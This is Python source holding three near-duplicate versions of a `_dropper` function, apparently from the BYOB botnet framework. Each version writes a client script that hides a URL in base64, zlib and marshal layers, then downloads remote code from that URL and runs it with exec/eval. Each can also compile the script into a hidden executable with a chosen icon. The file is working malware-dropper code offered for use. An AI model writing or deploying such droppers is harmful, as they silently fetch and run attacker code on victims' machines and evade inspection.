def _dropper(options, **kwargs):
util.display("\n[>]", color='green', style='bright', end=' ')
util.display("Dropper", color='reset', style='bright')
util.display('\tWriting dropper... ', color='reset', style='normal', end=' ')
assert 'url' in kwargs, "missing keyword argument 'url'"
assert 'var' in kwargs, "missing keyword argument 'var'"
assert 'hidden' in kwargs, "missing keyword argument 'hidden'"
name = 'byob_{}.py'.format(kwargs['var']) if not options.name else options.name
if not name.endswith('.py'):
name += '.py'
dropper = """import sys,zlib,base64,marshal,json,urllib
if sys.version_info[0] > 2:
from urllib import request
urlopen = urllib.request.urlopen if sys.version_info[0] > 2 else urllib.urlopen
exec(eval(marshal.loads(zlib.decompress(base64.b64decode({})))))""".format(repr(base64.b64encode(zlib.compress(marshal.dumps("urlopen({}).read()".format(repr(kwargs['url'])),2)))))
with open(name, 'w') as fp:
fp.write(dropper)
util.display('({:,} bytes written to {})'.format(len(dropper), name), style='dim', color='reset')
if options.freeze:
util.display('\tCompiling executable...\n', color='reset', style='normal', end=' ')
name = generators.freeze('modules/payloads/' + kwargs['var'] + '.py', icon=options.icon, hidden=kwargs['hidden'])
util.display('({:,} bytes saved to file: {})\n'.format(len(open(name, 'rb').read()), name))
return name
def _dropper(options, **kwargs):
util.display("\n[>]", color='green', style='bright', end=',')
util.display("Dropper", color='reset', style='bright')
util.display('\tWriting dropper... ', color='reset', style='normal', end=',')
assert 'url' in kwargs, "missing keyword argument 'url'"
assert 'var' in kwargs, "missing keyword argument 'var'"
assert 'hidden' in kwargs, "missing keyword argument 'hidden'"
name = 'byob_{}.py'.format(kwargs['var']) if not options.name else options.name
if not name.endswith('.py'):
name += '.py'
dropper = "import zlib,base64,marshal,urllib;exec(eval(marshal.loads(zlib.decompress(base64.b64decode({})))))".format(repr(base64.b64encode(zlib.compress(marshal.dumps("import zlib,base64,marshal,urllib;exec(marshal.loads(zlib.decompress(base64.b64decode(urllib.urlopen({}).read()))))".format(repr(kwargs['url'])))))) if options.compress else repr(base64.b64encode(zlib.compress(marshal.dumps("urllib.urlopen({}).read()".format(repr(kwargs['url'])))))))
with open(name, 'w') as fp:
fp.write(dropper)
if options.freeze:
util.display('\tCompiling executable... \n', color='reset', style='normal', end=',')
__load__ = threading.Event()
__spin__ = _spinner(__load__)
name = generators.freeze(name, icon=options.icon, hidden=kwargs['hidden'])
__load__.set()
util.display('(saved to file: {})\n'.format(name), style='dim', color='reset')
return name
def _dropper(options, **kwargs):
util.display("\n[>]", color='green', style='bright', end=' ')
util.display("Dropper", color='reset', style='bright')
util.display('\tWriting dropper... ',
color='reset',
style='normal',
end=' ')
assert 'url' in kwargs, "missing keyword argument 'url'"
assert 'var' in kwargs, "missing keyword argument 'var'"
assert 'hidden' in kwargs, "missing keyword argument 'hidden'"
if not os.path.isdir('modules/clients'):
try:
os.mkdir('modules/clients')
except OSError:
util.log(
"Permission denied: unabled to make directory './modules/clients/'"
)
if not os.path.isdir('modules/clients/droppers'):
try:
os.mkdir('modules/clients/droppers')
except OSError:
util.log(
"Permission denied: unabled to make directory './modules/clients/droppers/'"
)
dirs = [
'modules/clients/droppers', 'byob/modules/clients/droppers',
'byob/byob/modules/clients/droppers'
]
dirname = '.'
for d in dirs:
if os.path.isdir(d):
dirname = d
name = 'byob_{}.py'.format(
kwargs['var']) if not options.name else options.name
if not name.endswith('.py'):
name += '.py'
path = os.path.join(os.path.abspath(dirname), name)
dropper = """import sys,zlib,base64,marshal,json,urllib
if sys.version_info[0] > 2:
from urllib import request
urlopen = urllib.request.urlopen if sys.version_info[0] > 2 else urllib.urlopen
exec(eval(marshal.loads(zlib.decompress(base64.b64decode({})))))""".format(
repr(
base64.b64encode(
zlib.compress(
marshal.dumps(
"urlopen({}).read()".format(repr(kwargs['url'])),
2)))))
with open(path, 'w') as fp:
fp.write(dropper)
util.display('({:,} bytes written to {})'.format(
len(dropper), path.replace(os.getcwd(), '')),
style='dim',
color='reset')
if options.freeze:
util.display('\tCompiling executable...\n',
color='reset',
style='normal',
end=' ')
name = generators.freeze('modules/clients/payloads/' + kwargs['var'] +
'.py',
icon=options.icon,
hidden=kwargs['hidden'],
debug=options.debug)
util.display('({:,} bytes saved to file: {})\n'.format(
len(open(name, 'rb').read()), name))
return name
